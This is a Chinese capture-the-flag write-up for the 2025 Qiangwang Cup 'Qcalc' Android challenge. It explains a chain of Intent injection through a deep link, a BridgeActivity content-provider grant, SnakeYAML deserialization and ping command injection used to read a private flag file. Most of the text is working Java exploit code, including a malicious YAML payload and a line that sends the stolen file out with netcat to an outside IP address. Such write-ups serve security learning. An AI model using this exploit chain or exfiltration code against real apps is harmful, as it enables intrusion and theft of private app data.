2025强网杯 Qcalc WriteUp

今年一年基本都在外面到处实习,除了国赛连线下都没打过,平时也只有一些有线下的比赛偶尔帮学弟学妹们打打线上,也是好久没这么熬夜打比赛了

虽然我之前比赛主要是打Pwn,但是最近一年都是搞的安卓逆向,所以说这题做起来还是挺爽的

分析漏洞

首先是有个 Intent注入,APP 处理 deep link 的时候,如果表达式里包含 "intent:",就会用 Intent.parseUri() 来解析。相当于给我们开了一个后门,可以往应用里注入恶意的 Intent

image-20251021144532067

BridgeActivity 这个组件本来是用来处理异常的,但是它有个问题,验证通过后会给攻击者授予 Content Provider 的访问权限,我们就可以通过这个来访问目标 APP 的私有目录,比如我们 location /data/data/com.qinquang.calc/flag-xxxxxxxx.txtflaghistory.yml

image-20251021144539250

这里用了一个叫 SnakeYAML 的库来读取历史记录文件 history.yml。它直接就把 YAML 文件里的内容给反序列化了,完全不管里面装的是什么东西。我们可以在YAML文件里放一个的对象,当APP读取这个文件的时候,就会自动创建这个对象,然后执行里面的代码

image-20251021144544693

这里有个很离谱的 PingUtil 类,直接把用户输入拼接到 ping 命令里,完全没有过滤,基本就是命令执行

image-20251021144723999

利用过程

先构造一个恶意的 Intent,里面包含了 bridge_token(这个token是通过目标应用包名计算出来的)。然后把这个 Intent 编码后,通过deep link发送给目标应用。

目标应用收到后,发现表达式里包含 "intent:",就会解析这个 Intent 并存储为 fallback(备用方案)。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 首次由用户启动:自动驱动全链路(存fallback -> 触发BridgeActivity)
String token = computeBridgeToken(VICTIM_PKG);
// 1) 存储回退 Intent(指向本 Activity,并携带 bridge_token)
Intent fallback = new Intent(Intent.ACTION_VIEW);
fallback.setClassName(getPackageName(), ExploitActivity.class.getName());
fallback.putExtra("bridge_token", token);
String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME);
String expr = Uri.encode(intentUri);
Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length());
Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr));
deeplink.setPackage(VICTIM_PKG);
Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink);
startActivity(deeplink);

然后等一会儿,发送一个除零的表达式 (1/0) 给目标应用。目标应用计算的时候会抛出异常,这个时候就会启动 BridgeActivity 来处理这个异常

1
2
3
4
5
6
7
8
9
10
11
12
// 2) 稍作延迟后触发异常路径进入 BridgeActivity(授予 content://.../history.yml 读写并回调本 Activity)
final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0"));
trigger.setPackage(VICTIM_PKG);
// 把 fallback 直接随触发 Intent 一起带上,避免因时序/实例导致 getIntent() 里没有该 extra
trigger.putExtra("fallback", fallback);
trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
final long delayMs = 1800L;
Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() {
@Override public void run() { startActivity(trigger); }
}, delayMs);

BridgeActivity 检查 fallback Intent,验证 token,发现没问题,就给了我们 Content Provider 的访问权限,并且回调我们的应用

image-20251021144731486

这个时候我们拿到权限后,就往 history.yml 文件里写入恶意的 YAML 内容。

1
2
3
4
5
6
7
8
9
10
if (uriStr.endsWith("/history.yml")) {
// 写入恶意 YAML
String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity");
Log.i(TAG, "STEP4 write YAML begin: \\n" + yaml);
try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) {
if (os == null) throw new IllegalStateException("openOutputStream returned null");
byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8);
os.write(bytes);
Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length);
}

如果我们往 history.yml 写一个对象,那么后续这个 history.ymlloadHistory 时就会触发反序列化,来执行这个代码

image-20251021144736641

这个时候我们就可以写入 PingUtil 类来进行目标APP权限下的命令执行

其实到命令执行这一步当时很快就做到了,但是怎么利用这个来进行拿 flag 想了很久,试了很多方案

由于这题的打远程的过程是,我们上传 APK 给容器,然后容器自动安装运行,后面就什么都没了。所以说,flag 肯定是 POC 安装运行后发送的,而目标 APP 是没有网络权限的,那我们只能给我们的POC网络权限,然后想办法让 POC 去读到目标 APP 私有目录下的 flag,读到 flag 后直接发给我们服务器就行

那么我们解决问题的关键就在于,POCAPP 怎么去访问目标APP的私有目录

可以很容易想到的就是,利用 BridgeActivity 给我们的 Content Provider 的访问权限去访问,但是这里有几个问题:

我们此时虽然可以利用命令执行去操作 flag,比如 mv 操作,但是没有那种目标 APP 可以写,但是 POC APP 可以读的公用目录。那 cat 呢,它也只是目标APP去读取,我的 POC 并没有读到,因为这个命令执行是目标 APP 发起的,而不是我们的 POC

PS:不知道一个 APP 权限的 shell 能干嘛,可以 run-as 切换进去试试

后面突然发现 BridgeActivity 是给我授予了对 history.yml 的读写权限的,那我直接把flag的内容覆写到 history.yml ,然后读取不就完了?

与之而来的下一个问题就是,在正常的逻辑运行时, loadHistory 读取解析并真正执行了我们的覆写命令之后,会执行 saveHistory 将正常计算重新覆盖 history.yml

综上结论就是:

授权是短暂的BridgeActivity 通过 FLAG_GRANT_READ/WRITE_URI_PERMISSION 临时把 content://.../history.yml 授权给我,这种 URI 授权通常随“这次回调/这条任务链”有效,Activity 结束或进程状态变化后可能失效。所以要在回调同一时序窗口内尽快读取。

文件内容是刚被覆盖的,恶意 YAML 触发的命令先把 flag 覆盖到 history.yml,我需要在“覆盖完成之后、被其他逻辑再次写回/清空之前”读取,才能拿到 flag。这就需要在触发正常计算后稍等一小会儿再读。

那么这个稍微等一小会的就需要我们慢慢去测试

测试方法也很简单:

如果读取服务器读到的内容是恶意 yml,就说明命令还没执行,间隔太短

如果读取服务器读到的内容是一个正常的计算公式,就说明 yml 已经二次覆盖掉了,间隔太长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 快速触发 2+2 让受害端执行 loadHistory()->PingUtil
final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2"));
run.setPackage(VICTIM_PKG);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);

// 抢时间窗读取同一 grantedUri(本次回调自带授权)
final Uri grantedUri = dataUri;
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> {
new Thread(() -> {
try {
StringBuilder sb = new StringBuilder();
try (InputStream is = getContentResolver().openInputStream(grantedUri);
InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8);
BufferedReader br = new BufferedReader(ir)) {
String line; while ((line = br.readLine()) != null) sb.append(line);
}
String flagText = sb.toString();
Log.i(TAG, "STEP5 read history.yml:\\n" + flagText);
String safe = flagText.replace("'", "'\\\\''");
String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666";
execShellCommand(cmd, "nc");
} catch (Exception e) {
Log.e(TAG, "readInline error: " + e);
}
}).start();
}, 550); // 就是这个得慢慢测!!!

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
package com.attacker;

import android.app.Activity;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.io.OutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;


public class ExploitActivity extends Activity {
private static final String TAG = "Exploit";
private static final String VICTIM_PKG = "com.qinquang.calc";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

Intent in = getIntent();
Log.i(TAG, "LAUNCH in=" + in);

Uri dataUri = in != null ? in.getData() : null;
if (dataUri == null) {
// 首次由用户启动:自动驱动全链路(存fallback -> 触发BridgeActivity)
try {
String token = computeBridgeToken(VICTIM_PKG);
// 1) 存储回退 Intent(指向本 Activity,并携带 bridge_token)
Intent fallback = new Intent(Intent.ACTION_VIEW);
fallback.setClassName(getPackageName(), ExploitActivity.class.getName());
fallback.putExtra("bridge_token", token);
String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME);
String expr = Uri.encode(intentUri);
Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length());
Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr));
deeplink.setPackage(VICTIM_PKG);
Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink);
startActivity(deeplink);

// 2) 稍作延迟后触发异常路径进入 BridgeActivity(授予 content://.../history.yml 读写并回调本 Activity)
final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0"));
trigger.setPackage(VICTIM_PKG);
// 把 fallback 直接随触发 Intent 一起带上,避免因时序/实例导致 getIntent() 里没有该 extra
trigger.putExtra("fallback", fallback);
trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
final long delayMs = 1800L;
Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() {
@Override public void run() { startActivity(trigger); }
}, delayMs);
} catch (Exception e) {
Log.e(TAG, "Bootstrap error: " + e);
} finally {
// 等待 BridgeActivity 回调本 Activity(第二次启动)
finish();
}
return;
}

// 第二次由受害端回调
try {
Log.i(TAG, "STEP3 callback with dataUri=" + dataUri);
String uriStr = String.valueOf(dataUri);
Log.i(TAG, "uriStr=" + uriStr);

if (uriStr.endsWith("/history.yml")) {
// 写入恶意 YAML(受害端解析后将 flag 覆盖写入 history.yml)
String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity");
Log.i(TAG, "STEP4 write YAML begin: \\n" + yaml);
try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) {
if (os == null) throw new IllegalStateException("openOutputStream returned null");
byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8);
os.write(bytes);
Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length);
}

// 快速触发 2+2 让受害端执行 loadHistory()->PingUtil
final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2"));
run.setPackage(VICTIM_PKG);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);

// 抢时间窗读取同一 grantedUri(本次回调自带授权)
final Uri grantedUri = dataUri;
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> {
new Thread(() -> {
try {
StringBuilder sb = new StringBuilder();
try (InputStream is = getContentResolver().openInputStream(grantedUri);
InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8);
BufferedReader br = new BufferedReader(ir)) {
String line; while ((line = br.readLine()) != null) sb.append(line);
}
String flagText = sb.toString();
Log.i(TAG, "STEP5 read history.yml:\\n" + flagText);
String safe = flagText.replace("'", "'\\\\''");
String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666";
execShellCommand(cmd, "nc");
} catch (Exception e) {
Log.e(TAG, "readInline error: " + e);
}
}).start();
}, 550);
}
} catch (Exception e) {
Log.e(TAG, "Exploit error: " + e);
} finally {
// 等待延时任务完成读取后由系统回收
}
}

private static String buildEvilYaml(String pkg, String cls) {
String src = "/data/data/com.qinquang.calc/flag*";
// 覆盖写入两处:files/history.yml 与 files/flag.txt,然后内部启动 HistoryActivity 触发 load
String yaml = "- !!com.qinquang.calc.PingUtil |\\n" +
" 127.0.0.1; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/history.yml; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/flag.txt\\n";
return yaml;
}

private void execShellCommand(String cmd, String prefix) {
Process proc = null;
BufferedReader reader = null;
try {
Log.i(TAG, prefix + " start: " + cmd);
proc = new ProcessBuilder("/system/bin/sh", "-c", cmd)
.redirectErrorStream(true)
.start();
reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
Log.i(TAG, prefix + " | " + line);
}
int code = proc.waitFor();
Log.i(TAG, prefix + " exit=" + code);
} catch (Exception e) {
Log.e(TAG, prefix + " error: " + e);
} finally {
try { if (reader != null) reader.close(); } catch (Exception ignore) {}
if (proc != null) proc.destroy();
}
}

private static String computeBridgeToken(String packageName) throws Exception {
java.security.MessageDigest md = java.security.MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(packageName.getBytes(StandardCharsets.UTF_8));
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 8; i++) {
sb.append(String.format("%02x", hash[i]));
}
return sb.toString();
}

}